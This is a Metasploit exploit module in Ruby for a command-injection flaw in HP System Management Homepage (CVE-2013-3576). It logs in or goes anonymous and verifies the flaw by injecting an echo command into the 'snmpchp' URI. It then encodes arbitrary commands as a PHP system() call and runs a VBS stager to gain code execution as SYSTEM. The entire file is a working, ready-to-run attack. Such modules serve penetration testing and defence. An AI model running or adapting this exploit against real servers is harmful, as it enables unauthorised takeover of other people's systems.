##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerVBS
	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "HP System Management Homepage JustGetSNMPQueue Command Injection",
			'Description'    => %q{
				This module exploits a vulnerability found in HP System Management Homepage.  By
				supplying a specially crafted HTTP request, it is possible to control the
				'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
				which will be used in a exec() function.  This results in arbitrary code execution
				under the context of SYSTEM.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Markus Wulftange',  # Discovery & improved CmdStagerVBS
					'sinn3r'             # Metasploit
				],
			'References'     =>
				[
					['CVE', '2013-3576'],
					['OSVDB', '94191'],
					['US-CERT-VU', '735364']
				],
			'DefaultOptions' =>
				{
					'SSL' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 11 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(2381),
				# USERNAME/PASS may not be necessary, because the anonymous access is possible
				OptString.new("USERNAME", [false, 'The username to authenticate as']),
				OptString.new("PASSWORD", [false, 'The password to authenticate with'])
			], self.class)
	end


	def peer
		"#{rhost}:#{rport}"
	end


	def check
		cookie = ''

		if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
			cookie = login
			if cookie.empty?
				print_error("#{peer} - Login failed")
				return Exploit::CheckCode::Safe
			else
				print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
			end
		end

		sig = Rex::Text.rand_text_alpha(10)
		cmd = Rex::Text.uri_encode("echo #{sig}")
		uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo"

		req_opts = {}
		req_opts['uri'] = uri
		if not cookie.empty?
			browser_chk = 'HPSMH-browser-check=done for this session'
			curl_loc    = "curlocation-#{datastore['USERNAME']}="
			req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}"
		end

		res = send_request_raw(req_opts)
		if not res
			print_error("#{peer} - Connection timed out")
			return Exploit::CheckCode::Unknown
		end

		if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/
			return Exploit::CheckCode::Vulnerable
		end

		Exploit::CheckCode::Safe
	end


	def login
		username = datastore['USERNAME']
		password = datastore['PASSWORD']

		cookie = ''

		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => '/proxy/ssllogin',
			'vars_post' => {
				'redirecturl'         => '',
				'redirectquerystring' => '',
				'user'                => username,
				'password'            => password
			}
		})

		if not res
			fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login")
		end

		# CpqElm-Login: success
		if res.headers['CpqElm-Login'].to_s =~ /success/
			cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
		end

		cookie
	end


	def setup_stager
		execute_cmdstager({ :temp => '.'})
	end


	def execute_command(cmd, opts={})
		# Payload will be in: C:\hp\hpsmh\data\htdocs\smhutil
		# Convert cmd to single quoted PHP string while replacing bad character sequences
		bad_chars = /([\x00-\x20\x22\x23\x26\x2f\x3c\x3e\x5b-\x5e\x60\x7b-\x7d\x7f-\xff]+)/
		cmd = cmd.split(bad_chars).map.with_index { |v,k|
			# every odd match is a sequence of bad characters
			if k.modulo(2) == 1
				if v.length < 3
					# chr() is shorter for sequences of one or two bad characters
					"chr(#{v.each_byte.map(&:ord).join(").chr(")})"
				else
					# for any longer sequence, pack() is shorter
					"pack('C*',#{v.each_byte.map(&:ord).join(",")})"
				end
			else
				# skip empty strings and quote alphanumeric strings
				v.empty? ? v : "'#{v}'"
			end
		}.reject(&:empty?).join(".")
		cmd = "php -r system(#{cmd});"
		uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo")

		req_opts = {}
		req_opts['uri'] = uri
		if not @cookie.empty?
			browser_chk = 'HPSMH-browser-check=done for this session'
			curl_loc    = "curlocation-#{datastore['USERNAME']}="
			req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
		end

		res = send_request_raw(req_opts)
		if !res or res.code != 200 or res.body.include? 'error'
			vprint_error("Unexpected response:\n#{res}")
			fail_with(Exploit::Failure::Unknown, "There was an unexpected response")
		end
	end


	def exploit
		@cookie = ''

		if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty?
			@cookie = login
			if @cookie.empty?
				fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
			else
				print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
			end
		end

		@uri = normalize_uri('smhutil', 'snmpchp/') + "&&"
		setup_stager
	end
end